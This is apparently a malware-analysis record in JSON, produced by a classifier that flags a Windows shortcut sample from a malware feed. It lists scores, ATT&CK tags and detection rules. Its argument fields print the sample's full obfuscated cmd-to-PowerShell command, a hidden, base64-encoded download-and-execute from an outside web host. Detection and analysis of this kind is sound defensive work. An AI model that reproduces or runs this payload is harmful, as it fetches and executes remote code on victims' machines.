{
  "ml": {
    "v": "5",
    "fs": [
      {
        "id": 0,
        "prob": 1.0,
        "class": 2,
        "threshold": 1.0
      }
    ],
    "prob": 1.0,
    "class": 2,
    "level": 3,
    "models": [
      {
        "m": "az",
        "prob": 0.9187621,
        "class": 0
      },
      {
        "m": "az/lnk",
        "prob": 1.0,
        "class": 2
      }
    ],
    "version": "v17.17",
    "threshold": 1.0,
    "analyzed_at": "2026-05-31T13:15:26Z"
  },
  "path": "1b326c54f5daefe44bb94d0900f186eb53afd290b291c50c1e4af8f27ffbcff2.lnk",
  "raw": {
    "v": "5",
    "fs": [
      {
        "f": "O(C)Th",
        "x": 68,
        "ff": {
          "m": {
            "lnk": {
              "file_size": 0.0,
              "args_leading_tabs": 0.0,
              "args_leading_spaces": 0.0,
              "args_whitespace_total": 77.0,
              "args_max_whitespace_run": 1.0
            },
            "file": {
              "size": 1056.0,
              "entropy": 5.43,
              "size_bytes": 1056.0
            }
          },
          "s": [
            [
              183,
              "u8",
              "Windows"
            ],
            [
              243,
              "u8",
              "System32"
            ],
            [
              307,
              "u8",
              "cmd.exe"
            ],
            [
              357,
              "u8",
              "SystemUpdate_25f2f70d"
            ],
            [
              380,
              "u8",
              "C:\\Windows\\System32\\"
            ],
            [
              402,
              "u8",
              "/WMRX:F0E /WFXI:BNYE5S /D/C \"for %R in (wer) do for %t in (exe) do for %V in (nc) do for %D in (po) do for %g in (hid) do for %x"
            ]
          ],
          "v": {
            "file.stem": "1b326c54f5daefe44bb94d0900f186eb53afd290b291c50c1e4af8f27ffbcff2",
            "file.basename": "1b326c54f5daefe44bb94d0900f186eb53afd290b291c50c1e4af8f27ffbcff2.lnk",
            "lnk.arguments": "/WMRX:F0E /WFXI:BNYE5S /D/C \"for %R in (wer) do for %t in (exe) do for %V in (nc) do for %D in (po) do for %g in (hid) do for %x in (\"SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHI\") do for %h in (ell) do for %U in (w) do for %u in (-) do for %a in (\"AaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBzAG8AcgB2AGUAdABlAG4AbwBwAG8AdABlAC4AYwBvAG0ALwBhAHAAaQAvAGkAdABiAGkALwBzAH\") do for %e in (sh) do for %d in (-e) do for %H in (\"QAYQByAHQAdQBwAC8AZgA0AGQAMwBjADUANgBkAGYAMwBkAGMANABhADAAYQA4ADcAOQA0ADMANwA3ADgANAA0ADgANwBjADMAZAA1ACcAKQA=\") do for %m in (.) do %D%R%e%h%m%t %u%U %g %d%V %~x%~a%~H\"",
            "lnk.description": "SystemUpdate_25f2f70d",
            "lnk.target_path": "C:\\C:\\Windows\\System32\\cmd.exe",
            "lnk.header.flags[0]": "has_link_target_id_list",
            "lnk.header.flags[1]": "has_name",
            "lnk.header.flags[2]": "has_working_dir",
            "lnk.header.flags[3]": "has_arguments",
            "lnk.header.write_time": 134039654620000000,
            "lnk.working_directory": "C:\\Windows\\System32\\",
            "lnk.header.access_time": 134039654620000000,
            "lnk.header.show_command": "minimized_no_active",
            "lnk.header.creation_time": 134039654620000000
          },
          "id": "lnk"
        },
        "id": 0,
        "sz": 1056,
        "ts": [
          {
            "a": "T1204.002",
            "c": 0.699999988079071,
            "d": "LNK targets cmd.exe",
            "e": [
              "C:\\C:\\Windows\\System32\\cmd.exe"
            ],
            "i": "objectives/command-and-control/dropper/lnk/target::cmd-target",
            "l": 4,
            "el": [
              "value:lnk.target_path"
            ]
          },
          {
            "a": "T1204.002",
            "c": 0.800000011920929,
            "d": "LNK runs minimized without activation",
            "e": [
              "minimized_no_active"
            ],
            "i": "objectives/command-and-control/dropper/lnk/target::minimized-window",
            "l": 4,
            "el": [
              "value:lnk.header.show_command"
            ]
          },
          {
            "a": "T1564.003",
            "c": 0.699999988079071,
            "d": "LNK contains cmd.exe target string",
            "e": [
              "cmd.exe"
            ],
            "i": "objectives/command-and-control/dropper/lnk/window-hiding::lnk-text-cmd-target",
            "l": 1,
            "m": "F0008",
            "el": [
              "0x133"
            ]
          },
          {
            "a": "T1204.002",
            "c": 0.8999999761581421,
            "d": "LNK has command-line arguments",
            "e": [
              "/WMRX:F0E /WFXI:BNYE5S /D/C \"for %R in (wer) do for %t in (exe) do for %V in (nc) do for %D in (po) do for %g in (hid) do for %x"
            ],
            "i": "objectives/command-and-control/dropper/lnk/target::has-arguments",
            "l": 1,
            "el": [
              "value:lnk.arguments"
            ]
          },
          {
            "a": "T1204.002",
            "c": 0.800000011920929,
            "d": "LNK targets cmd.exe with arguments",
            "e": [
              "C:\\C:\\Windows\\System32\\cmd.exe",
              "/WMRX:F0E /WFXI:BNYE5S /D/C \"for %R in (wer) do for %t in (exe) do for %V in (nc) do for %D in (po) do for %g in (hid) do for %x"
            ],
            "i": "objectives/command-and-control/dropper/lnk/target::cmd-with-args",
            "l": 4,
            "el": [
              "value:lnk.target_path",
              "value:lnk.arguments"
            ]
          },
          {
            "c": 0.8999999761581421,
            "d": "Identifies execution artefacts in shortcut (LNK) files.",
            "e": [
              "cmd.exe",
              "$"
            ],
            "i": "third_party/bartblaze/generic/LNK_Ruleset/execution_in_lnk",
            "l": 4,
            "el": [
              "offset:0x133",
              "offset:0x14f"
            ]
          }
        ],
        "sha": "1b326c54f5daefe44bb94d0900f186eb53afd290b291c50c1e4af8f27ffbcff2",
        "path": "/data/samples/bad/datasets/various/datalake.abuse.ch/2025-10/1b326c54f5daefe44bb94d0900f186eb53afd290b291c50c1e4af8f27ffbcff2.lnk",
        "type": "lnk"
      }
    ],
    "tv": "52045"
  }
}